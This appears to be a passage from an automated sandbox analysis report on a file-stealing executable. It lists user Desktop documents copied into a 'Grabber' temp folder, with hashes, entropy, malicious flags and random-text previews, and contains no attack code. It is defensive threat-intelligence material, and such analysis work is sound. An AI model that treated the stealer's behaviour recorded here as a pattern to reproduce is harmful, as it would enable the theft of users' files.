                                                                                                                                                                          Preview:EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\EIVQSAOTAQ.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.692024230831571
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
                                                                                                                                                                          MD5:086908C2D2FAA8C9284EAB6D70682A47
                                                                                                                                                                          SHA1:1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
                                                                                                                                                                          SHA-256:40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
                                                                                                                                                                          SHA-512:02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\GRXZDKKVDB.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.697358951122591
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
                                                                                                                                                                          MD5:244A1B624BD2C9C3A0D660425CB1F3C6
                                                                                                                                                                          SHA1:FB6C19991CC49A27F0277F54D88B4522F479BE5F
                                                                                                                                                                          SHA-256:E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
                                                                                                                                                                          SHA-512:9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PIVFAGEAAV\PIVFAGEAAV.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.6969712158039245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                          MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                          SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                          SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                          SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\BNAGMGSPLO.jpg

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.701704028955216
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
                                                                                                                                                                          MD5:5F97B24D9F05FA0379F5E540DA8A05B0
                                                                                                                                                                          SHA1:D4E1A893EFD370529484B46EE2F40595842C849E
                                                                                                                                                                          SHA-256:58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
                                                                                                                                                                          SHA-512:A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\PIVFAGEAAV.pdf

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.685942106278079
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:e80g32tqxncx15PRgoZOZUxcz6oV0dh0dxiXMK:e87SH5Go0ZeuDufAiXMK
                                                                                                                                                                          MD5:3F6896A097F6B0AE6A2BF3826C813DFC
                                                                                                                                                                          SHA1:951214AB37DEA766005DD981B0B3D61F936B035B
                                                                                                                                                                          SHA-256:E6E3A92151EEE0FCDF549A607AE9E421E9BB081D7B060015A60865E69A2A3D60
                                                                                                                                                                          SHA-512:C7BD241F0E71DC29320CC051F649532FFF471B5E617B648CC495413587C06C236AFA4673A7BC77409E989260278CDEF49BDACA38BEB6AF65FEE74C563775B97C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:PIVFAGEAAVVMYOKLIHAGVKQSIBRMIEBPKZHRSRYSYCTZASSEWGQLTFYPITGFBLIMOSZPCOYJLDMIKUYRMFZNOVAKNNFUFMFWAQZIZZSOHPUKTMEQKVMZGORRHHUAPAVEHNTRHFTCOWUQLMTXHFAASXNSJOMVEVZKIBTYUEOEAYWORCLXNWXMWVTCVFUJOOHJFVBTQGYSPLVNZVQAKYRWBXASIFOBPMFAPMAVEFPAYEVCHLKOVGMAFTDZYSFCRVFLUCDEZSALOPZIFCHRCOADKGTQMGRAQFQVFLPTIZCOVQGXVCITLOKGAEHQOUDVVLBLANQIWAMALJXSPVCLVLGENZFIFSPDTQOOAOXTRKMORBXQQUMCVCGJNJNIYGXUUXANSJRSROPOUDFHQHUUMMRXDQWLRABBQAZENYVIBHRRHTGWSIVVUQDLCOQYLVPAUFYYHGIERJJLVMIHLHHCCGHRLMANSNVNAYHLENOWUETBHLULUXLDUIUWHDTSBTXYABZUPEVNUTYDIYOWXZQQWZTIKHRACSWYILZGJJAYPXSWVAJEAMWRWUWIOONUGSOWTNWVILBTRYWXPSGGJYETTQICCTQMOORSZENPULBEQOBSNDWJHFGZOXAYRMRTCQAGZFKLTXQJCKKKJTXRIIVBYSWRFFSDWLAWEVZNFVJIYAKGOFIKGKPALYKLUSFUZNXBTTGJQARLJLEPNMUPZBHUFERZBUARRWLRQMAELUFJHXEPWKNEOUOFWRPCGUFYJEWTUPSXMLBAGQWILTIUMBXONDPOFUHNKJJKISPTLDQHMYGKSUZUEBYHKNHJUVSBOBSFQWTBGVEFNVAAKMXTORQQDIBVTWEQECBUJMCLMNPNRTKIKGQQLCBXEDYYHZALQNWVUKKTUNZMKPSISXIDNZZXVGUERMWOJYWVPNSTVVUORBONVDVVOSICVUMWTQLGBVUNLJTMTSZIJARQMRHCGASSVBBFIRIMTSICIANQBRVHJQBP

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\PWCCAWLGRE.docx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.6969712158039245
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:zDLHcjI8IQ6sNUYzo1jfRRMF6zzC3ZzNTWx7M00:zDL4ImUYzebRR66C3Z0JMR
                                                                                                                                                                          MD5:31CD00400A977C512B9F1AF51F2A5F90
                                                                                                                                                                          SHA1:3A6B9ED88BD73091D5685A51CB4C8870315C4A81
                                                                                                                                                                          SHA-256:E01ADE9C56AF2361A5ADC05ADE2F5727DF1B80311A0FDC6F15B2E0FFFACC9067
                                                                                                                                                                          SHA-512:0521ED245FA8F46DE9502CD53F5A50B01B4E83983CC6D9DE0CF02E54D2825C1C26A748CC27E24633DA1171CE0309323235ECF7EB536D4058214D7618794CF2FA
                                                                                                                                                                          Malicious:true
                                                                                                                                                                          Preview:PWCCAWLGRESZQJYMKOMIHTZVFVPFCSAZVTKGMPWIGSDMTLFZQLHJERDPYZCJGFCRLISWNBAMIMDXCWDVGVLWLRBEVYOOPHYWACKPZXSURGSIFWTFUJKLSAQNAJEWDLUIKFHXLUAMUDGRAVFMICAHEZBIIEGWGAVVJHMHSIBGNLEHYVSOKQMYABDYCPEBOGBMYUCIGVRGYYQRAYNYHAIBMHOTRIZLLYBECMXTCFUOVXXHSEMIUWSBDHOZIZZUXFTLKXXNEMXBKLCQDPKVZNOMDYUYJRWCVILZVJDNNBMPTNOFSKRQTILJRXTKDNUIYSQCAOPCQKTXYXPPGZDZOQYLGYFPFIWNBSQZXYABPTNBJQNBZEETJSFXZNHXBRWUHOMCZAGZQJLNPMZFALBBPHBIXZHLBTBJLTUHPUYVUDWDFJANSIIDJVMUYLPZPYGAJWMTOHGILQWHKJDQUWMTSWIBVVZGAHCNWIFZNGNERRKMSIVXWXEXRZZEWYASCIYJYCOOBWRTNZELPWKFVZKZIBGQBLGCTSTNAJSWPHYJCQSYZVFRYFSRAVVXJIOHQCNVEOIMWPEAVCJLBHRUKDHJWPFMXAKTZVQCOUKYCBZFWBREKKHOHZVNMMJZGWIZEYRAIKTHMJRCWVWKNMJNSZHSDRUZSQOJKCTOSNGKOKEAWUIQNIYHWKIIDHKQIJWCSGRRLEVUTENXSNNVDVYDJTIWYNCAZIEBXMIROLIBTLMGEUOCECFFWLENTJSVHFKQHKAPBXQAJJSUOUSFCBQTHCFYZGSVVAUPLQELRWLXRCZSUSFUBCORCWMJPUNHTEEYODSFGJFTDZLLXMQYMIHIZXOYGABIAWYSBWLAJSCKBWGJBVMMJKBKLUHULJIUHQXIXESAUTNVVZNKMIVIOHPPQAWTQSEHTQMIWNPRZRETXZHRGWOTGIEHCCSGIUCKCIFCQPTAJOFCIMYSMCOPGASEEYCNQLXCNRAPQUSQXTWPKPYCQXPE

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\SQSJKEBWDT.png

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.698473196318807
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
                                                                                                                                                                          MD5:4D0D308F391353530363283961DF2C54
                                                                                                                                                                          SHA1:59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
                                                                                                                                                                          SHA-256:6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
                                                                                                                                                                          SHA-512:DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

                                                                                                                                                                          C:\Users\user\AppData\Local\Temp\lchlzmhj.erl\Grabber\DRIVE-C\Users\user\Desktop\PWCCAWLGRE\SUAVTZKNFL.xlsx

                                                                                                                                                                          Download File
                                                                                                                                                                          Process:C:\Users\user\Desktop\CVmkXJ7e0a.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1024), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1026
                                                                                                                                                                          Entropy (8bit):4.69422273140364
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
                                                                                                                                                                          MD5:A686C2E2230002C3810CB3638589BF01
                                                                                                                                                                          SHA1:4B764DD14070E52A2AC0458F401CDD5724E714FB
                                                                                                                                                                          SHA-256:38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
                                                                                                                                                                          SHA-512:1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
                                                                                                                                                                          Malicious:false
